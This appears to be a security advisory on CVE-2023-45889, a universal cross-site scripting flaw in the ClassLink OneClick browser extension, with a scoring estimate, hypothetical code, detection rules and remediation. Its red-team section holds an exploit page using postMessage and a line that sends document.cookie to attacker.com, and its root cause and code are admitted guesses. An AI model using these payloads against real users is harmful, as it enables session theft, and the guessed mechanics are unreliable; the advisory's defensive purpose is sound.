CVE-2023-45889

Executive Summary

CVE-2023-45889 is a Universal Cross-Site Scripting (UXSS) vulnerability in the ClassLink OneClick Extension through version 10.8. This flaw allows remote attackers to inject and execute arbitrary JavaScript in the context of any webpage visited by a user who has the extension installed. The vulnerability exists due to an incomplete fix for CVE-2022-48612, indicating a recurring weakness in the extension's content security model. The attack vector is network-based, requires no authentication, and relies on user interaction (e.g., visiting a malicious page). The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the public availability of proof-of-concept code elevates the risk.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary browser extension distributed through the Chrome Web Store and other browser extension marketplaces. The risk is primarily to end-users who have installed the ClassLink OneClick Extension, as the malicious code can execute in the context of any website, including sensitive domains like banking or email.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The attacker can trigger the vulnerability remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond user interaction.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The user must visit a malicious page or be tricked into clicking a link.
• Scope (S): Changed (C) – The vulnerable component (extension) impacts the security of the browser (the scope changes).
• Confidentiality (C): High (H) – The attacker can read data from any webpage.
• Integrity (I): High (H) – The attacker can modify content or perform actions on behalf of the user.
• Availability (A): Low (L) – The attack could disrupt normal browsing.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L Estimated Score: 8.6 (High)

Deep Dive & Mechanics

The ClassLink OneClick Extension is designed to provide single sign-on (SSO) capabilities for educational institutions. The UXSS vulnerability arises from improper handling of cross-origin messages or insufficient sanitization of injected content. The incomplete fix for CVE-2022-48612 suggests that the extension's content scripts or background pages do not properly validate the origin of messages or the context in which they execute.

Attack Flow:

1. An attacker crafts a malicious webpage or injects a script into a legitimate site (e.g., via a stored XSS).
2. The user, who has the ClassLink OneClick Extension installed, visits the malicious page.
3. The extension's content script receives a crafted message or event that bypasses origin checks.
4. The extension executes the attacker's JavaScript in the context of the current page, or in the context of any other open tab (universal XSS).
5. The attacker can then steal cookies, session tokens, perform actions on behalf of the user, or exfiltrate data.

Root Cause: The extension likely uses postMessage or similar APIs without verifying the origin property, or it injects scripts into pages without proper sandboxing.

Vulnerable vs. Patched Code

Since no patch details are available, we can only hypothesize based on the incomplete fix for CVE-2022-48612.

Vulnerable Code (Hypothetical):

// Background script or content script
window.addEventListener("message", function(event) {
    // No origin check
    eval(event.data); // Executes arbitrary code
});

Patched Code (Hypothetical):

window.addEventListener("message", function(event) {
    // Verify origin
    if (event.origin !== "https://trusted.classlink.com") {
        return;
    }
    // Sanitize input
    var safeData = sanitize(event.data);
    // Execute safely
    executeSafely(safeData);
});

The patch should include strict origin validation and input sanitization, avoiding eval() or similar dangerous functions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A browser with ClassLink OneClick Extension version <= 10.8 installed.
• A controlled web server to host the malicious payload.

Exploit Steps:

1. Create an HTML file with the following content:

<!DOCTYPE html>
<html>
<body>
<script>
// Craft a message that the extension will process
var payload = "alert('UXSS Exploited: ' + document.domain)";
window.postMessage(payload, "*");
</script>
</body>
</html>

2. Host the file on a web server (e.g., http://attacker.com/exploit.html).
3. Send the link to the victim (e.g., via phishing email).
4. When the victim visits the page, the extension executes the payload in the context of the current page.

Advanced Payload:

// Steal cookies from the current domain
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);

Blue Team

Detection:

• Monitor for unusual postMessage events from unknown origins.
• Use browser extension security tools to audit the ClassLink extension's permissions and behavior.
• Deploy Content Security Policy (CSP) headers on sensitive sites to block inline scripts.

Hunting:

• Search for network connections to unknown domains originating from the extension's background page.
• Analyze browser console logs for errors related to the extension.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing ?cookie= or similar exfiltration patterns.
• File:
  • Modified or injected scripts in the extension's directory (e.g., C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Extensions\<extension_id>\).
• Behavior:
  • Unexpected pop-ups or alerts on trusted websites.
  • Unauthorized form submissions or data exfiltration.

Detection Engineering

YARA Rule

rule CVE_2023_45889_UXSS_ClassLink {
    meta:
        description = "Detects potential UXSS exploitation attempts against ClassLink OneClick Extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-45889"
    strings:
        $msg1 = "postMessage" ascii wide nocase
        $msg2 = "eval(" ascii wide nocase
        $msg3 = "document.cookie" ascii wide nocase
        $msg4 = "classlink" ascii wide nocase
    condition:
        all of ($msg1, $msg2, $msg3) or ($msg1 and $msg4)
}

Sigma Rule

title: ClassLink OneClick Extension UXSS Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2023-45889 via postMessage abuse
author: Valters IT
date: 2025-04-10
logsource:
    category: browser_extension
    product: chrome
detection:
    selection:
        EventID: 1001  # Example: Extension message event
        Origin: "*"
        Data|contains: 
            - "eval("
            - "document.cookie"
    condition: selection
falsepositives:
    - Legitimate extension functionality
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-45889 ClassLink OneClick Extension UXSS Exploit"; flow:to_server,established; content:"postMessage"; nocase; content:"eval"; nocase; distance:0; within:100; reference:cve,2023-45889; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the extension until a patch is available.
2. Update to the latest version if a patch is released (check ClassLink's official site).
3. Educate users about phishing attacks that may exploit this vulnerability.

Long-term Mitigations:

• Browser Security: Use browser policies to restrict extension permissions (e.g., disallow postMessage to *).
• Web Application Firewall (WAF): Deploy WAF rules to block suspicious postMessage payloads.
• Content Security Policy (CSP): Implement strict CSP headers on sensitive websites to prevent inline script execution.

Vendor Communication:

• Contact ClassLink support for patch status.
• Monitor the CVE page for updates.

Valters IT